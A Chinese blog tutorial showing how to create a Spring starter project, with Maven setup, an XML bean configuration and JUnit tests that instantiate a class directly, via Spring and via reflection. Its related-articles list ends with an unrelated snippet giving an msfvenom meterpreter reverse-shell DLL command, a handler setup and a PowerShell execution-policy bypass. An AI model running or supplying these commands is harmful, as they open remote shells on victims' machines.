Spring入门案例创建流程

news2024/9/22 9:35:54

Spring详细创建流程如下

1)创建Maven工程

打开idea主界面

new Project ===> Name ==> Language ===> Maven ===> JDK ===> GroupId ===> Create

Src ===> 鼠标右键===>Delete

 创建module

鼠标右键spring-demo ===> new ===> Module

new Module ===> Name ==> Language ==> Build System ===> Jdk ==>Create

 

2)导入依赖

<!--导入spring-context依赖-->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>6.1.12</version>
        </dependency>
        <!--导入测试依赖-->
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>test</scope>
        </dependency>

导入maven依赖

spring01下的pom.xml文件

3)创建MySrping.config

鼠标右击resourse文件 ===> new  ===> XML  ==> SpringConfig

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">


    
</beans>

4)创建Users类

package org.xiji;

/**
 * 自定义类
 */
public class Users {

    public void userInfo(){
        System.out.println("userInfo");
    }
}

5)编写MyConfig.xml文件的bean

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">


    <!-- id 定义bean的id  -->
    <!-- class (包名+类名) 即Users类所在的路径 -->
    <bean id="users" class="org.xiji.Users">

    </bean>
    
</beans>

6)手动创建Users类

import org.junit.Test;
import org.xiji.Users;

public class CreateUsersByHandTest {

    @Test
    public void createUsers(){
        System.out.println("通过手写创建");
        Users users = new Users();
        System.out.println(users);
        users.userInfo();
    }
}

测试结果

7)通过spring框架的ClassPathXmlApplicationContext 创建对象

new ClassPathXmlApplicationContext("加载指定配置类") ==> 加载bean

import org.junit.Test;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.xiji.Users;

public class CreateUsersBySpringTest {
    @Test
    public void test(){
        System.out.println("使用spring框架创建");

        //通过xml文件创建对象  == >  加载指定的配置类
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("MyConfig.xml");
        Users users = context.getBean("users", Users.class);
        System.out.println(users);
        users.userInfo();

    }
}

测试结果

8)通过反射创建对象

通过java反射机制 Class.forName("类的全类名") ===> 获取构造器 ==》 实例化对象 ==》强转 ==》o.userInfo()

import org.junit.Test;
import org.xiji.Users;

public class CreateBeanByReflectTest {
    /**
     * 反射创建
     * spring是通过反射创建类的
     */
    @Test
    public void createBeanByReflect() throws Exception {
        System.out.println("通过反射创建");
        //通过类的全路径创建类
        Class aClass = Class.forName("org.xiji.Users");

        /**
         * 获取构造器,然后创建对象
         */
        Users o = (Users) aClass.getDeclaredConstructor().newInstance();

        System.out.println(o);
        o.userInfo();

    }
}

测试结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115448.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RocksDB简介

一、RocksDB是什么 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务RocksDB提供存储服务,是一个嵌入式KV存储引擎 Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。二、RocksDB的诞生 基于flash存储和ssd普及,网络latency在query worklo…

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…

网络编程入门概念篇

1.网络编程-概念&#xff08;套接字编程&#xff09; 网络体系结构 网络体系结构指的是网络的层次结构和每一层所使用的协议的集合 实现网络传输的功能非常繁杂&#xff0c;所以采用了分而治之的设计方法&#xff0c;把网络的功能划分为不同的模块&#xff0c;以分层的形式有…

【机器学习】决策树与随机森林:模型对比与应用案例分析

文章目录 一.引言 在现代数据科学的世界中&#xff0c;决策树和随机森林是两个非常重要且广泛使用的机器学习算法。它们不仅因其高效性和强大的表现力而受到青睐&#xff0c;而且在解决实际问题时也表现出了令人印象深刻的能力。本篇文章将深入探讨这两个算法&#xff0c;帮助读…

JAVAEE初阶第七节(中)——物理原理与TCP_IP

系列文章目录 JAVAEE初阶第七节&#xff08;中&#xff09;——物理原理与TCP_IP 文章目录 系列文章目录JAVAEE初阶第七节&#xff08;中&#xff09;——物理原理与TCP_IP 一.应用层重点协议&#xff09;1. DNS2 .NAT3. NAT IP转换过程 4 .NAPT5. NAT技术的缺陷6. HTTP/HTTPS…

秋夜思故人有感

秋夜思故人有感 西楼月影碎&#xff0c; 轩窗烛泪灰。 门前小犬吠&#xff0c; 疑是故人归。

仕考网:事业编考试考什么?

事业编考试科目为&#xff1a; 《职测》《综应》《公基》三选二 事业编有哪些招考形式? ①联考 多省份统一考试&#xff0c;考试时间、考试内容相同&#xff0c;每年两次&#xff0c;上半年5月和下半年10月各一次; ②单招 用人单位单独招聘&#xff0c;考试时间和内容自…

钉耙编程(8)

1007 cats 的 k-xor 分析&#xff1a; 1.是对x 取余 得到最后一位 标准答案代码&#xff1a; #include<bits/stdc.h> using namespace std; long long kxor(long long a,long long b,long long k){long long ans0,w1,c;while(a>0||b>0){c(ab)%k;a/k;b/k;ansc*w;w*…

研发效能DevOps: VSCode进行前端项目初始配置

目录 一、实验 1.环境 2.安装Node.js 3.初始化前端项目 二、问题 1.cnpm安装报错 2.如何删除cnpm与指定cnpm版本 3.前端项目运行报错 4.node版本与npm版本对应关系如何查询 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统 软件版本备注Windows11VS …

C++之map和set的基本操作

目录 set的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 multiset的基本操作 count接口 元素的查找 元素的删除 map的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 operator[ ]接口 multimap的基本操作 在之前我们已经学过了vector&…

录屏新秀Top3 VS班迪录屏 ,谁更胜一筹?

现在是数字时代哈&#xff0c;录屏软件那可是咱生活和工作里特别重要的小玩意儿。比如说制作教学视频、搞游戏直播或者记录工作会议啥的&#xff0c;一款好的录屏软件能让咱效率高高的。今天呢&#xff0c;咱们就来对比一下新推出的三款录屏软件和那个老牌的班迪录屏&#xff0…

【一文读懂】NTN(非地面网络)技术介绍

一、引言 随着科技的飞速发展&#xff0c;全球通信需求日益增长&#xff0c;特别是在偏远地区或服务欠缺地区&#xff0c;传统的地面网络往往难以覆盖。为此&#xff0c;基于5G标准的卫星对地通信技术应运而生&#xff0c;构建了一个全新的通信领域——非地面网络&#xff08;…

spring的xml配置文件爆红(原因以及解决办法)

1&#xff09;出现这个原因是因为spring-framework依赖没有导入 可以看到依赖已经导入了 2&#xff09;第二种原因:我们打开maven工程就是不出现右上角刷新的按钮&#xff0c;导致我们无法导入依赖 解决办法如下

书生大模型全链路开源开放体系笔记

书生哺语2.5概览 支持100万字上下文自助规划和搜索完成复杂任务(通过信息搜索和整合&#xff0c;针对复杂问题撰写专业回答&#xff0c;效率提升60倍) 可以提问文档中100万token中任何一个部分的问题&#xff0c;也有弊端就是不能联系上下文 核心技术思路 高质量合成数据 已经…

队列基础知识-Java

基本概念 队列&#xff08;Queue&#xff09;是一个有序的元素集合&#xff0c;其中新元素总是被添加到队尾&#xff0c;而删除操作则发生在队头。 这种特性使得队列成为一种线性数据结构&#xff0c;其操作遵循FIFO(先入先出)原则。 图解 环形队列注意点&#xff1a; 1 有效…

代码随想录算法训练营第54天|卡码网 110. 字符串接龙、105.有向图的完全可达性、106.岛屿的周长

1. 卡码网 110. 字符串接龙 题目链接&#xff1a;https://kamacoder.com/problempage.php?pid1183 文章链接&#xff1a;https://www.programmercarl.com/kamacoder/0110.字符串接龙.html 思路&#xff1a; 本题只需要求出最短路径的长度就可以了&#xff0c;不用找出具体路径…

解决面板安装Node.js和npm后无法使用的问题

使用面板&#xff08;BT&#xff09;安装Node.js和npm后&#xff0c;可能会遇到如下问题&#xff1a;即使成功安装了Node.js和npm&#xff0c;服务器仍提示“未安装”&#xff0c;在命令行中使用 node -v 或 npm -v 也没有任何响应。这种问题通常是由于环境变量配置错误或路径问…

Matlab中BaseZoom()函数实现曲线和图片的局部放大

BaseZoom工具下载链接&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1yItVSinh6vU4ImlbZW6Deg?pwd9dyl 提取码&#xff1a;9dyl 下载完之后将工具包放置合适的路径下&#xff0c;并在matlab中“设置路径”中添加相应的路径&#xff1b; 注&#xff1a;可以先运行如…